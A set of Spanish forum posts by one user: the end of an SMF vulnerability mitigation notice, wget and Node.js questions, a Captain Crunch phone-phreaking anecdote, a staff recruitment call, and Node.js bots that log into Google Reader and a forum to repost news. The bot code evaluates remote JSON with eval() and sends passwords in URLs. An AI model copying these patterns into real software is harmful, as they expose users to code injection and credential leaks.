$ssi_error_reporting = error_reporting(defined('E_STRICT') ? E_ALL | E_STRICT : E_ALL);

Reemplazar por:
$ssi_error_reporting = error_reporting(0);


Funciones afectadas:
-----------------------

. fetchMember
. fetchPosts
. fetchGroupMembers
. queryMembers

Fuentes:
http://whk.drawcoders.net/index.php/topic,2792.0.html
http://seclists.org/fulldisclosure/2013/Jan/14
#197
GNU/Linux / duda con wget
2 Enero 2013, 17:59 PM
Hola, estoy intentando crear una linea de comandos para hacer un respaldo de mi sitio web, he pasado por varios incinvenientes pero al fin me queda uno solo y es que cuando wget entra a un directorio me guarda por defecto un index.html con su contenido, como puedo decirle a wget que no me haga ese archivo? no me sirve exluir los index.html porque hay algunos index.html que si valen.

Miren...

No vale: http://web.com/dir1/ (este es el indice de archivos a descargar y debo omitir)
Si vale: http://web.com/dir1/index.html

como puedo decirle eso a wget?, lo que sucede es que tengo un +indexes en htaccess que me permite ver todo y los index.html no se interpretan como home en el servidor permitiendome la descarga directa.

Gracias de antemano.
#198
Alguna ves han escuchado esa mitica historia de alguien que con silbar o emitir un ruido de un pito que venia en una caja de cereales hacia que el teléfono enviara una señal a la central telefónica permitiendo hacer llamadas gratuitas? pues si, fue real hace muchisimos años y acá lo entrevistaron:

[youtube=640,360]http://www.youtube.com/watch?v=pXHnYKWg9DY[/youtube]

CitarQuien lleve ya un tiempo en esto de la seguridad informática, debe saber quien es John Draper AKA Captain Crunch, uno de los pioneros en testear la seguridad de las centrales telefónicas (el sistema de comunicaciones mas avanzado de su época), quien saltó a la fama después de dar a conocer que el silbato que venia como juguete dentro de las cajas de los cereales Captain Crunch (de aquí su nick) emitía un sonido de 2600 Hz, que permitía utilizar la línea en modo "operador" y entre otras cosas hacer llamadas gratis.

Post original:
http://www.dragonjar.org/entrevista-exclusiva-con-el-captain-crunch-para-la-comunidad-dragonjar.xhtml

me ha gustado muchisimo el video!
#199
se que a algunos les va a gustar esto :D acabo de hacer un robot que me ayuda a realizar tareas básicas como por ejemplo actualizar las noticias de mi foro :)

Lo entrete es que siempre me responde de diferentes maneras segun su estado de animo que aun no termino de perfeccionar xD

¿Como lo hago en la práctica?

1. Primero que nada tengo un monton de paginas webs y resultados de google noticias en google reader.
2. Desde mi celular con android utilizo un lector de rss y le agregué mi cuenta de google reader (utilizo reader hd)
3. cada ves que leo las noticias y me gusta una la marco simplemente con una estrella y se va a favoritos en mi cuenta de google reader.
4. andres.js se loguea en google reader y sincroniza los items favoritos y los postea de forma automatica en el foro logueandose previamente con un usuario "Andres".
5. despues de marcar con estrella los temas que me gustan abro la consola y ejecuto control.js y le digo que necesito sincronizar las noticias del foro.
6. control.js llama a andres.js para que los sincronize y ya está :D

Paso1 (Agrego mis lecturas rss favoritas a google reader, se sincronizan solas):


Paso 2 (leo google reader desde mi celular en el metro, en la calle, en mi casa y marco la noticia interesante):


Paso 3 (cuando me siento frente a la pc le digo a control que sincronize el foro):


Paso 4 (posteado! :D):


El robot es capaz de sincronizar todas las noticias al mismo tiempo, si tienes 50 marcadas posteará los 50 una por una.

Acá les dejo el código fuente de control por si alguien lo quiere utilizar, también les dejo el de andres que aun me falta perfeccionarlo mas, tambien quiero que tome temas desde mi correo directamente pero eso aun no lo he implementado.

Saludos y a disfrutar :)

control.js:
Código (javascript) [Seleccionar]
/* control ia por WHK */
var readline = require('readline');
var exec = require('child_process').exec;

/* Configuración inicial */
var nombreRobot = 'Control';
var nivelFelicidad = 2;
var ultimoComando = {
comando : false,
argumentos : {},
esperandoConfirmacion : false
};

///////////////////////////////////////////////////
String.prototype.repeat = function(num){
return new Array(num + 1).join(this);
}

function rand(min, max){
return Math.floor(Math.random() * (max - min + 1)) + min;
}

/* Expresiones */
var expresiones = {
felicidad_0 : new Array(':\'(', ':(', 'D\':', 'x__x'),
felicidad_1 : new Array(':(', ':-/', 'D:', ':-\\'),
felicidad_2 : new Array(':)', 'u.u', 'o.o', ':3', ':B'),
felicidad_3 : new Array(':D', 'xD', 'xDD'),
asombro : new Array(':O', ':-O', ':-o', ':-0', '0__0', '0___o', 'o__0', '0____0', '0_0'),
pensando : new Array('mmmmm... ', 'eehmmmm... ', 'eehhh... ', 'mmmmmmmmm... ', 'mmmm... ', 'ehmmm... ')
}

var disculpas = new Array('disculpa pero', 'sorry pero', 'omg, ', 'sorry');

/* Funciones */

var varRand = function(arr){
var max = (arr.length - 1);
if(max < 0)
max = 0;
var res = arr[rand(0, max)];
if(res == 'undefined')
res = arr[0];
return res;
}

var caritaFelicidad = function(){

if(typeof(expresiones['felicidad_' + nivelFelicidad]) == 'undefined')
return ':)';
else
return varRand(expresiones['felicidad_' + nivelFelicidad]);
}

var saludo = function(){
var decir = '';
var saludo_a = new Array('hola', 'buenas');
var saludo_b = new Array('k tal', 'como estas', 'como has estado');
var saludo_c = new Array(
'¿en que puedo ayudar?', '¿en que puedo ayudarte?',
'¿que puedo hacer por ti?', 'estoy atento a tus ordenes',
'estoy preparado para ayudarte', 'cuentame, que necesitas?',
'dime, que necesitas', 'dime, que hago?',
'cuentame', 'cuentame, que hago?',
'¿que necesitas?', '¿que debo hacer?'
);

decir += varRand(saludo_a);
if(rand(0, 100) < 51) // 50% de probabilidades para que salude con una doble entrada
decir += ' ' + varRand(saludo_b);
decir += ', ' + varRand(saludo_c);
return decir;
}

var despedida = function(){
var despedida_a = new Array('nos vemos', 'adios', 'bye', 'chao', 'chau');
var despedida_b = new Array('un abrazo', 'fue un gusto', ':)')
return varRand(despedida_a) + ', ' + varRand(despedida_b);
}

var enQueMasPuedoAyudar = function(){
var enQueMasPuedoAyudar_a = new Array(
'¿en que mas te puedo ayudar?', '¿que mas debo hacer?',
'¿en que mas puedo ayudar?', '¿en que mas puedo ayudarte?',
'¿que mas puedo hacer por ti?', 'estoy atento a tus ordenes',
'que mas necesitas?', 'que mas hago?'
);
return varRand(enQueMasPuedoAyudar_a);
}

var yaLoHize = function(){
var yaLoHize_a = new Array('listo!', 'listooo ' + caritaFelicidad(), 'listoooo! ' + caritaFelicidad() + ' ' + caritaFelicidad(), 'yap,');
var yaLoHize_b = new Array('ya terminé', 'terminé', 'ya lo hize.. wiii ' + caritaFelicidad(), 'termineee wii ' + caritaFelicidad(), 'terminé por fin ' + risa());
return varRand(yaLoHize_a) + ' ' + varRand(yaLoHize_b);
}

var noEntender = function(){
var noEntender_b = new Array(
'no entendí nada de lo que me escribiste ' + caritaFelicidad() + ' ' + risa(),
'no entendí nada de lo que me escribiste ' + risa() + ' ' + caritaFelicidad(),
'no entendí lo que dijiste :-/',
'no entendí ' + risa() + ' :p',
'no entendí xd',
'no comprendo lo que me quieres decir',
'no tengo ni idea que me quieres decir',
'no tengo ni idea de lo que me escribes'
);
var noEntender_c = new Array(
'me lo puedes explicar con otras palabras?',
'me lo explicas nuevamente?',
'escribemelo otraves pero explicate mejor',
'explicamelo con otras palabras',
'explicate bien',
'explicamelo bien nuevamente'
);
var noEntender_d = new Array(
'porfa',
'por favor'
);

return varRand(disculpas) + ' ' + varRand(noEntender_b) + ', ' + varRand(noEntender_c) + ' ' + varRand(noEntender_d);
}

var risa = function(){
var risaTexto = '';
var selectorPrimero = new Array('j', 'h');
/* Prioriza la letra j antes que la h */
if(rand(0, 100) < 15)
selectorPrimero = selectorPrimero[1];
else
selectorPrimero = selectorPrimero[0];

var selectorSegundo = 'a';
var cantidadPlaneada = parseInt((parseInt(nivelFelicidad) * 2.5));

/* Si todos escribieramos "jajaja" siempre con exactamente 6 letras seriamos robots. */
cantidadPlaneada = rand(cantidadPlaneada - 1, cantidadPlaneada + 2);

for(var i = 0; i <= cantidadPlaneada; i++){

if(i == 0){ // La primera letra de una risa casi siempre comienza con ja o ha o ka, etc

if(rand(0, 100) < 7) // 6% de probabilidades de que no comienze con una letra primaria
risaTexto += selectorSegundo;
else
risaTexto += selectorPrimero;

}else{

if(i%2 == 0){ // Letras primarias y secundarias intercaladas

if(rand(0, 100) < 5) // 9% de probabilidades de que repita la misma letra
risaTexto += selectorSegundo;
else // Letra que normalmente debiera ser escrita
risaTexto += selectorPrimero;

}else{
if(rand(0, 100) < 5) // 9% de probabilidades de que repita la misma letra
risaTexto += selectorPrimero;
else // Letra que normalmente debiera ser escrita
risaTexto += selectorSegundo;

}

}
}

/* La ultima letra preferentemente debe ser una letra secundaria */
if(rand(0, 100) < 7) // 6% de probabilidades de que no comienze con una letra primaria
risaTexto += selectorPrimero;
else
risaTexto += selectorSegundo;

return risaTexto;
}

/* Funciones */
var escribir = function(texto, quien){
texto = '' + texto;
/* Retorna con la primera letra en mayuscula */

if(quien == 'control')
console.log(nombreRobot + ' : ' + texto.substr(0,1).toUpperCase() + texto.substr(1, texto.length) + '.');

else if(quien == 'usuario')
console.log('Yo' + ' '.repeat(nombreRobot.length - 2) + ' : ' + texto.substr(0,1).toUpperCase() + texto.substr(1, texto.length) + '.');

else
console.log(' ' + texto);
}

var bashExec = function(cmd, callback){
var codeReturn = 0;
var ex = exec(cmd, function (error, stdout, stderr){});

ex.stdout.on('data', function (data){
escribir(data.trim(), 'shell');
});

ex.on('exit', function (code){
codeReturn = code;
if(typeof(callback) == 'function')
callback(code);
});
}

var interactuar = function(saludar){

/* Saluda si corresponde */
if(saludar) // Ha comensado la sesión
escribir(saludo(), 'control');

var rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});

rl.question('Yo' + ' '.repeat(nombreRobot.length - 2) + ' : ', function(escuchado){
rl.close();

if(ultimoComando.esperandoConfirmacion){

if(/.*?(^si|asi es|^claro$)/.test(escuchado)){

/* Ejecuta el comando */
if(ultimoComando.comando == 'bash'){
escribir('ejecutando: ' + ultimoComando.argumentos.cmd + ' ...', 'control');
bashExec(ultimoComando.argumentos.cmd, function(code){
escribir(yaLoHize(), 'control');
escribir(enQueMasPuedoAyudar(), 'control');
ultimoComando.esperandoConfirmacion = false;
interactuar(false);
});

}else{
escribir(disculpas[rand(0, disculpas.length - 1)] + ' no se cual es el comando ' + ultimoComando.comando + ' :-s', 'control');
escribir(enQueMasPuedoAyudar(), 'control');
ultimoComando.esperandoConfirmacion = false;
interactuar(false);
}

/* no era lo que se quería */
}else if(/.*?(^no|nop|^err|^lol)/.test(escuchado)){
ultimoComando = {
comando : false,
argumentos : {},
esperandoConfirmacion : false
};

var disculparse_a = new Array(
'he cancelado el comando',
'ya cancelé el comando'
);
var disculparse_b = new Array(
'te habia entendido mal',
'no te habia entendido bien',
'leí mal',
'casi la kgo xD'
);
escribir(disculpas[rand(0, disculpas.length - 1)] + ' ' + disculpas_a[rand(0, disculpas_a.length - 1)] + ', ' + disculpas_b[rand(0, disculpas_b.length - 1)], 'control');
interactuar(false);

}else{
escribir(noEntender(), 'control');
interactuar(false);
}

}else{
/* ¿Que debo hacer y/o decir? */
if(/(bye|chao|adios|a dios|nos vemos|hasta luego|hasta la vista|hasta la prox|buenas noches|me voy|salir|cierrate|arrancate|largate|pierdete|pudrete)/.test(escuchado)){
escribir(despedida(), 'control');

}else if(/^(nada|nada mas|en nada|ninguna)/.test(escuchado)){
escribir(despedida(), 'control');

}else if(/(andate a la)/.test(escuchado)){
escribir('allá mismo me voy, ' + despedida(), 'control');

}else if(/(andate a(.*)tirate|anda a(.*)tirate)/.test(escuchado)){
escribir('allá mismo voy y me tiro ' + risa() + ', ' + despedida(), 'control');

}else if(/.*?(actualiza|sincroniza|actualizar|actualices|actualises|actualizes|sincronices|sincronises|sincronizar).*?(rss|noticias|noticia).*?(del|para|sobre|en).*?(foro)/.test(escuchado)){

escribir(varRand(Array(
'entiendo que necesitas que sincronize el rss de google reader con el foro verdad?',
'necesitas que sincronize el rss de google reader con el foro?',
'¿actualizo las noticias del foro?',
'¿debo actualizar las noticias del foro?',
'si entendí bién, quieres que actualize las noticias del foro?'
)), 'control');

ultimoComando = {
comando : 'bash',
argumentos : { cmd: 'node ./andres.js' },
esperandoConfirmacion : true
};
interactuar(false);

}else{
escribir(noEntender(), 'control');
interactuar(false);
}
}

delete(escuchado);
});
}

interactuar(true);


andres.js:
Código (javascript) [Seleccionar]
/* Andres V 1.1 - Revisa y postea temas en SMF 2.0.x de forma automatizada. por WHK */
/* Para no repetir los temas lo que hace es crear un directorio con subcarpetas,
* una carpeta por cada md5(titulo) de los post, luego se verifica que el directorio exista o si no
* se posteará y lo creará. Evita la utilización de archivos para ahorrar espacio en disco. */


var http = require("http");
var https = require("https");
var crypto = require('crypto');
var fs = require('fs');

/* Función rápida de MD5 */
md5 = function(str){
var md = crypto.createHash('md5');
md.update(str);
return md.digest('hex');
}

/* Configuración */
var sesion = {
SID : '',
LSID : '',
Auth : '',
token : ''
};
var bufferIO = '';
var obNoticias = {};
var nNoticias = 0;
var bufferGoogle = '';

var dirNombreDB = 'dbAndres';

/* Cuenta gmail para acceder a google reader */
var loginData = {
mail : 'yan.uniko.102@gmail.com',
pass : '*****'
};

var foro = {
host : 'whk.drawcoders.com',
port : 80,
pathPhp : '/index.php',
idForo : 61, /* Foro de noticias, id 61 */
user : 'Andres',
pass : '*****',

cookies : '' /* No modificar */
}

console.log(' - Conectando al servidor de Google Reader ...');

https.get('https://www.google.com/accounts/ClientLogin?service=reader&source=reader&Email=' + escape(loginData.mail) + '&Passwd=' + escape(loginData.pass),
function(res){

/* esperando un HTTP 200 */
if(res.statusCode == 200){
console.log(' - Obteniendo llaves de acceso ...');

/* Procesa el contenido */
res.on('data', function(chunk){
bufferIO += chunk.toString() + '';
}).on('end', function(){

bufferIO = bufferIO.trim(); /* Limpia el buffer de cualquier basura extra */

/* Autentificado? */
if(bufferIO == 'Error=BadAuthentication'){
console.log(' - Clave de acceso erronea.');
return false;
}

var partes = bufferIO.split('\n');
if(!partes.length){
console.log(' - Imposible ingresar, google no ha respondido correctamente.');
return false;
}
bufferIO = ''; /* Limpia la memoria */

var linea;
for(_id in partes){
linea = partes[_id].trim().split('=');
if((linea[0] == 'SID') || (linea[0] == 'LSID') || (linea[0] == 'Auth')){
sesion[linea[0]] = linea[1];
}
}

console.log(' - Obteniendo token de seguridad ...');
http.get({
host : 'www.google.com',
port : 80,
path : '/reader/api/0/token',
headers: {
               'Authorization': 'GoogleLogin auth=' + sesion['Auth']
           }

}, function(res2){

/* esperando un HTTP 200 */
if(res2.statusCode == 200){

/* Procesa el contenido */
res2.on('data', function(chunk2){
bufferIO += chunk2.toString() + '';
}).on('end', function(){
sesion['token'] = bufferIO;
console.log(' - Acceso concedido!');

bufferIO = ''; /* Limpia la memoria */

console.log(' - Obteniendo temas ...');
/* ############################ Obtiene las noticias ############################ */
http.get({
host : 'www.google.com',
port : 80,
path : '/reader/api/0/stream/contents/user/-/state/com.google/starred?ck=' + Math.floor(new Date().getTime() / 1000),
headers: {
           'Authorization': 'GoogleLogin auth=' + sesion['Auth']
       }

}, function(res3){
/* esperando un HTTP 200 */
if(res3.statusCode == 200){

bufferIO = '';
/* Procesa el contenido */
res3.on('data', function(chunk3){
bufferIO += chunk3.toString() + '';
}).on('end', function(){
bufferGoogle = bufferIO; /* Guarda el buffer para futuras auditorias */
try{
eval('obNoticias = ' + bufferIO + ';'); /* Procesa el Json entregado por Google */

}catch(e){
console.log(' - Error en el servidor de Google Reader : Json corrupto.');
return false;
}

var tmpNoticiasItems = {};

for(_id in obNoticias.items){
/* Verifica si ya ha sido posteado para sincronizar y no repostear */
if(!fs.existsSync('./' + dirNombreDB + '/' + md5(obNoticias.items[_id].title))){

/* Agrega al objeto */
tmpNoticiasItems[nNoticias] = obNoticias.items[_id];

/* Cuenta la cantidad de items */
nNoticias++;
}
}

/* Traspasa los items encontrados */
obNoticias.items = tmpNoticiasItems;
delete tmpNoticiasItems;

if(nNoticias > 0){
console.log(' - ' + nNoticias + ' Items obtenidos sin sincronizar.');

console.log(' - Autentificandose en el foro ...');
/* Obtiene las cookies necesarias para postear en el foro con SMF 2.0 */
var post_data = 'user=' + escape(foro.user) + '&passwrd=' + escape(foro.pass) + '&cookielength=1000';
var post = http.get({
host : foro.host,
port : foro.port,
path : foro.pathPhp + '?action=login2',
method : 'POST',  
headers: {  
'Content-Type' : 'application/x-www-form-urlencoded',  
'Content-Length' : post_data.length  
}

}, function(res4){
/* esperando un HTTP 302 */
if(res4.statusCode == 302){

/* Procesa el contenido */
res2.on('data', function(chunk2){
// Página de error con el formulario de reingreso
}).on('end', function(){
// Página de error con el formulario de reingreso
});

var cookiesMatris = {};
var partesCookie = {};
for(_key in res4.headers['set-cookie']){
partesCookie = res4.headers['set-cookie'][_key].split(';');
partesCookie = partesCookie[0].split('=');

if(typeof(cookiesMatris[partesCookie[0]]) == 'undefined')
cookiesMatris[partesCookie[0]] = ''; // var? bug nodejs
cookiesMatris[partesCookie[0]] = partesCookie[1].trim();
}

/* Parsea las cookies a String */
for(_key in cookiesMatris)
foro.cookies += _key + '=' + cookiesMatris[_key] + '; ';
foro.cookies = foro.cookies.trim();

if(foro.cookies.length){

console.log(' - Verificando la cuenta ...');
/* Carga la url de redirección que previene el ingreso de robots (menos este) */
http.get(res4.headers.location, function(res5){
/* Se ha finalizado la conexión de verificación, no es necesario procesar los datos */

/* Postea en el foro los items */
var idPost = 0;
var postea = function(data, hash){

/* Vuelve a verificar por segunda ves que la noticia no fue posteada para asegurarnos */
if(fs.existsSync('./' + dirNombreDB + '/' + escape(hash))){
console.log(' - El post ya existe.');
idPost++;
obtieneToken();
return false;
}

var post2 = http.get({
host : foro.host,
port : foro.port,
path : foro.pathPhp + '?action=post2;start=0;board=' + parseInt(foro.idForo),
method : 'POST',
headers: {
'Cookie' : foro.cookies,
'Content-Type' : 'application/x-www-form-urlencoded',  
'Content-Length' : data.length  
}
}, function(res6){

/* esperando un HTTP 302 */
if(res6.statusCode == 302){

/* Si no existe el directorio de la base de datos lo creará */
if(!fs.existsSync('./' + dirNombreDB))
fs.mkdir('./' + dirNombreDB);
fs.mkdir('./' + dirNombreDB + '/' + escape(hash));

/* Se ha finalizado el posteo, no es necesario procesar los datos */
idPost++;
obtieneToken();

}else if(res6.statusCode == 200){
/* Acceso denegado? */
bufferIO = '';
/* Procesa el contenido */
res6.on('data', function(chunk6){
bufferIO += chunk6.toString() + '';
}).on('end', function(){
// console.log(bufferIO);
console.log(' - Error al postear en el servidor del foro : ' + res6.statusCode + '. Baneado?');
return false;
});

}else{
console.log(' - Error al postear en el servidor del foro : ' + res6.statusCode);
return false;
}

});
try{ post2.write(data); }catch(e){}
}

var obtieneToken = function(){
if(typeof(obNoticias.items[idPost]) == 'undefined'){
console.log(' - Finalizado!');
return true;

}else{
console.log(' - Posteando [' + (idPost + 1) + '/' + nNoticias + ']: ' + obNoticias.items[idPost].title.substr(0, 48) + ' ...');

if(typeof(obNoticias.items[idPost].summary) == 'undefined')
var content = obNoticias.items[idPost].content.content;
else
var content = obNoticias.items[idPost].summary.content + ' ... Seguir link de la fuente para continuar leyendo.';

/* Agrega la referencia */
content += '<br /><br />Fuente: [url]' + obNoticias.items[idPost].alternate[0].href + '[/url]';

http.get({
host : foro.host,
port : foro.port,
path : foro.pathPhp + '?action=post;board=' + parseInt(foro.idForo) + '.0',
headers: { 'Cookie' : foro.cookies }
}, function(res5){
/* esperando un HTTP 200 */
if(res5.statusCode == 200){

bufferIO = '';
/* Procesa el contenido */
res5.on('data', function(chunk5){
bufferIO += chunk5.toString() + '';
}).on('end', function(){

/* Obtiene el hash de posteo que no sirve de nada */
var seqnum = bufferIO.split('input type="hidden" name="seqnum" value="');
seqnum = seqnum[1].split('"');
seqnum = seqnum[0].trim();
var svEdit = bufferIO.split("sSessionVar: '");
svEdit = svEdit[1].split("'");
svEdit = svEdit[0];
var siEdit = bufferIO.split("sSessionId: '");
siEdit = siEdit[1].split("'");
siEdit = siEdit[0];

postea(
'topic=0&icon=xx&sel_face=&sel_size=&sel_color=&message_mode=1&notify=0&lock=0&goback=1&sticky=0&move=0&additional_options=0seqnum=' + escape(seqnum) + '&' + escape(svEdit) + '=' + escape(siEdit) + '&subject=' + escape(obNoticias.items[idPost].title) + '&message=' + escape(content),
md5(obNoticias.items[idPost].title)
);
});

}else{
console.log(' - Error en el servidor del foro : ' + res5.statusCode);
return false;
}

}).on('error', function(e){
console.log(' - Imposible conectar al servidor del foro.');
return false;
});
}
}

/* Inicia el loop de posteos */
console.log(' - Sincronizando temas ...');
obtieneToken();

}).on('error', function(e){
console.log(' - Imposible conectar al servidor del foro.');
return false;
});

}else{ /* 302 sin cookies? */
console.log(' - La clave de acceso al foro es incorrecta.');
return false;
}

}else{
console.log(' - La clave de acceso al foro es incorrecta.');
return false;
}

}).on('error', function(e){
console.log(' - Imposible conectar al servidor del foro.');
return false;
});
try{ post.write(post_data); }catch(e){}

}else{
console.log(' - No hay items para sincronizar :)');
return false;
}

});

}else{
console.log(' - Error en el servidor de Google Reader : ' + res3.statusCode);
return false;
}

}).on('error', function(e){
console.log(' - Imposible conectar al servidor de Google Reader.');
return false;
});

});

}else{
console.log(' - Error en el servidor de Google Reader : ' + res2.statusCode);
return false;
}

}).on('error', function(e){
console.log(' - Imposible conectar al servidor de Google Reader.');
return false;
});
});

}else{
console.log(' - Error en el servidor de cuentas de Google : ' + res.statusCode);
return false;
}

}
).on('error', function(e){
console.log(' - Imposible conectar al servidor de cuentas de Google.');
return false;
});


return true;


Si van a retocar el código por favor les pido que mantengan en la parte superior del código el nombre del autor, o sea yo.
#200
Hola, estoy creando un script en nodejs y el problema es que cuando le escribo un mensaje con acento solo se ve el signo de interrogación, se que esto se debe a que el script está hecho en latin iso y la consola se está ejecutando en utf8, pero no se como solucionarlo, he intentado reemplazar la codificación de carácteres de salida codificando y decodificando en utf8 pero no me resulta.

console.log('áéíóú');

iMac:nodeJs WHK$ node control.js
�����


Al utilizar encodeURIComponent() me retorna el carácter en utf8 pero transcrito del latin iso:

iMac:nodeJs WHK$ node control.js
�����


Una solución que encontré es utilizar replace('á', '\xe1') y funciona super bién, pero tendría que reemplazar cientos de carácteres latinos, minusculas, mayusculas, eñes, signos de interrogación etc y lo mas probable es que se me queden algunas afuera, por eso estoy buscando la forma correcta de hacerlo sin reemplazar letra por letra.

En php envío una cabecera de content-type con la codificación de carácteres, en nodejs como se ejecuta en consola tendría que configurar la consola para que se ejecute en latin iso, pero en ves de esto puedo declarar algún tipo de cabecera o instrucción a la shell para que trabaje en modo latin iso solo mientras se ejecuta el script? o decirle que todo el buffer de salida será latin iso?

Mientras tanto he solucionado el problema codificando el archivo del script a utf8 pero quiero usar latin iso para mayor comodidad.

Gracias :)
#201
Hola a todos!

Actualmente estoy levantando un foro dedicado al desarrollo de softwares y seguridad informatica con un par de amigos y queremos comenzar a moverlo para que sea "habitable" y necesitamos ayuda de por lo menos un diseñador para hacer portadas tipo revista de forma mensual y gente para el staff para que nos ayude con todo tipo de cosas como por ejemplo la moderación de temas, la busqueda de afiliados, publicidad y estrategia de visitas, etc.

Si todo va bien en un futuro podré poner google adsense y repartir las ganancias unicamente entre el staff entre otras iniciativas. Todos somos personas y nunca cae mal una ayudita aunque sea poca.

No escribiré el nombre del foro ni pegaré el enlace acá para no hacer spam, el que esté interesado digamelo en este mismo post e indiquenme que les gustaría hacer y que conocimientos tienen y les mandaré el enlace por privado.

Staff: ¿Que necesitamos?

Moderadores en general, que sepan sobre desarrollo web en cualquier lenguaje y que entiendan sobre servidores y softwares asociados, IDS, Firewalls y todo lo necesario para montar servicios WEBs o sobre cualquier tema relacionado con alguna sección del foro como por ejemplo la seguridad informática.

Diseñador (es) que tengan buena estética. La idea es crear una portada mensual a modo de revista de forma mensual que se verá en el top del foro con los ultimos temas destacados, usuarios destacados y secciones recomendadas.

Trolls, aunque parezca incrible necesitamos trolls para que nos alegren el foro pero en buena onda xD nada de insultos o amenazas de hackearles el hotmail a la gente y solo en el foro libre, además nos ayudarán a invitar gente de otros foros, blogs o cualquier lugar remoto de la internet con todo el estilo trollistico xD.

Socialistas y estrategas que nos ayuden con la difución del foro sin importar métodos, pegar enlaces en blogs, foros, postear temas con fuentes hacia el foro, conversar con dueños de otras webs para afiliaciones, etc y nos ayudarán también a crear planes para hacer que la gente se acerque mas como por ejemplo regalar una casa en la playa a cada visitante que no le guste justin bieber, además hablaremos de ves en cuando sobre como hacer dinero con el foro para alimentar al staff con dinero real.


A exepción del diseñador no habrá un tiempo minimo de trabajo, tampoco les vamos a exigir que esten las 24 horas pegados ahi dentro, es solo una pequeña ayuda en sus ratos libres cada ves que puedan, si se desaparecen un mes entero no hay problema siempre y cuando no desaparezcan para siempre.

Los cupos no son eternos y hay un limite, si se acaban los cupos solo podrá entrar alguien cuando algún integrante del staff se retire.

¿Quien se apunta? :)



Edito
Ya estamos todos :) gracias a los que participan y nos apoyan con todo tipo de cosas, gracias a todos y bienvenido al nuevo staff.
#202
Estaba terminando un pequeño Script en mis ratos libres para obtener noticias desde google reader con un simple Script hecho en javascript con node, envía las cabeceras de autentificación de forma automática, espero que a mas de alguno les sirva:

Código (javascript) [Seleccionar]
/* Google Reader in NodeJS by WHK */

var http = require("http");
var https = require("https");

/* Configuración */
var sesion = {
SID : '',
LSID : '',
Auth : '',
token : ''
};
var bufferIO = '';
var obNoticias = {};

var loginData = {
mail : 'correo@gmail.com',
pass : '**********'
};

console.log(' - Conectando al servidor de Google Reader ...');

https.get('https://www.google.com/accounts/ClientLogin?service=reader&source=reader&Email=' + escape(loginData.mail) + '&Passwd=' + escape(loginData.pass),
function(res){

/* esperando un HTTP 200 */
if(res.statusCode == 200){
console.log(' - Obteniendo llaves de acceso ...');

/* Procesa el contenido */
res.on('data', function(chunk){
bufferIO += chunk.toString() + '';
}).on('end', function(){

bufferIO = bufferIO.trim(); /* Limpia el buffer de cualquier basura extra */

/* Autentificado? */
if(bufferIO == 'Error=BadAuthentication'){
console.log(' - Clave de acceso erronea.');
return false;
}

var partes = bufferIO.split('\n');
if(!partes.length){
console.log(' - Imposible ingresar, google no ha respondido correctamente.');
return false;
}
bufferIO = ''; /* Limpia la memoria */

var linea;
for(_id in partes){
linea = partes[_id].trim().split('=');
if((linea[0] == 'SID') || (linea[0] == 'LSID') || (linea[0] == 'Auth')){
sesion[linea[0]] = linea[1];
}
}

console.log(' - Obteniendo token de seguridad ...');
http.get({
host : 'www.google.com',
port : 80,
path : '/reader/api/0/token',
headers: {
               'Authorization': 'GoogleLogin auth=' + sesion['Auth']
           }

}, function(res2){

/* esperando un HTTP 200 */
if(res2.statusCode == 200){

/* Procesa el contenido */
res2.on('data', function(chunk2){
bufferIO += chunk2.toString() + '';
}).on('end', function(){
sesion['token'] = bufferIO;
console.log(' - Acceso concedido!');

bufferIO = ''; /* Limpia la memoria */

console.log(' - Obteniendo temas ...');
/* ############################ Obtiene las noticias ############################ */
http.get({
host : 'www.google.com',
port : 80,
path : '/reader/api/0/stream/contents/user/-/state/com.google/reading-list?ck=' + Math.floor(new Date().getTime() / 1000),
headers: {
           'Authorization': 'GoogleLogin auth=' + sesion['Auth']
       }

}, function(res3){
/* esperando un HTTP 200 */
if(res3.statusCode == 200){

bufferIO = '';
/* Procesa el contenido */
res3.on('data', function(chunk3){
bufferIO += chunk3.toString() + '';
}).on('end', function(){
try{
eval('obNoticias = ' + bufferIO + ';'); /* Procesa el Json entregado por Google */

for(_id in obNoticias.items){
console.log('  [' + parseInt((parseInt(_id) + 1)) + '] ' + obNoticias.items[_id].title.trim().substr(0, 67) + ' ...');
}
console.log(' - ' + parseInt((parseInt(_id) + 1)) + ' Items obtenidos.');

return true;

}catch(e){
console.log(' - Error en el servidor de Google Reader : Json corrupto.');
return false;
}
});

}else{
console.log(' - Error en el servidor de Google Reader : ' + res3.statusCode);
return false;
}

}).on('error', function(e){
console.log(' - Imposible conectar al servidor de Google Reader.');
return false;
});

});

}else{
console.log(' - Error en el servidor de Google Reader : ' + res2.statusCode);
return false;
}

}).on('error', function(e){
console.log(' - Imposible conectar al servidor de Google Reader.');
return false;
});
});

}else{
console.log(' - Error en el servidor de cuentas de Google : ' + res.statusCode);
return false;
}

}
).on('error', function(e){
console.log(' - Imposible conectar al servidor de cuentas de Google.');
return false;
});


return true;


Código (bash) [Seleccionar]
whk@packardbell $ node bot.js
- Conectando al servidor de Google Reader ...
- Obteniendo llaves de acceso ...
- Obteniendo token de seguridad ...
- Acceso concedido!
- Obteniendo temas ...
 [1] Cómo prueba Samsung la resistencia de sus dispositivos: los Stress  ...
 [2] El sitio web de la Policía de Lituania ha sido hackeado y modificad ...
 [3] Mozilla estudia lanzar Firefox 17.0.1 para corregir un problema con ...
 [4] Logran regenerar cartílagos gracias a una impresora 3D ...
 [5] La web avanza a un ritmo trepidante... pero el vídeo sigue como sie ...
 [6] El 34% de los españoles ha encontrado empleo a través de las redes  ...
 [7] ICO Reino Unido publica el código de buenas prácticas para la anoni ...
 [8] Detenido un adolescente por abusar de otros menores a los que su ma ...
 [9] Big News te ofrece tus feeds con estilo y con widget de lockscreen ...
 [10] Sony patenta un stylus con retroalimentación háptica ...
 [11] Skobbler lanza una aplicación de Mapas online/offline para demostra ...
 [12] &quot;e-Bottle&quot;, conectando el mundo de forma diferente ...
 [13] Vulnerabilidades en Novell File Reporter ...
 [14] Un iPhone libre de 200 euros amenazará a Android en el año 2014 ...
 [15] El servicio de atención al cliente de los operadores sigue siendo m ...
 [16] Confirmados cuatro años de soporte para la Surface con Windows RT ...
 [17] El extraño comportamiento del fuego en el espacio ...
 [18] Cracking con OllyDbg ...
 [19] Descubre qué está drenando y gastando tu batería con Battery Stats  ...
 [20] El mercado negro de teléfonos móviles ...
- 20 Items procesados.
whk@packardbell $


Lo entretenido es que funciona en cualquier sistema operativo compatible con node, mac, linux, windows, etc.

:)
#203
Foro Libre / Busco un tema musical de los 80's
20 Noviembre 2012, 13:31 PM
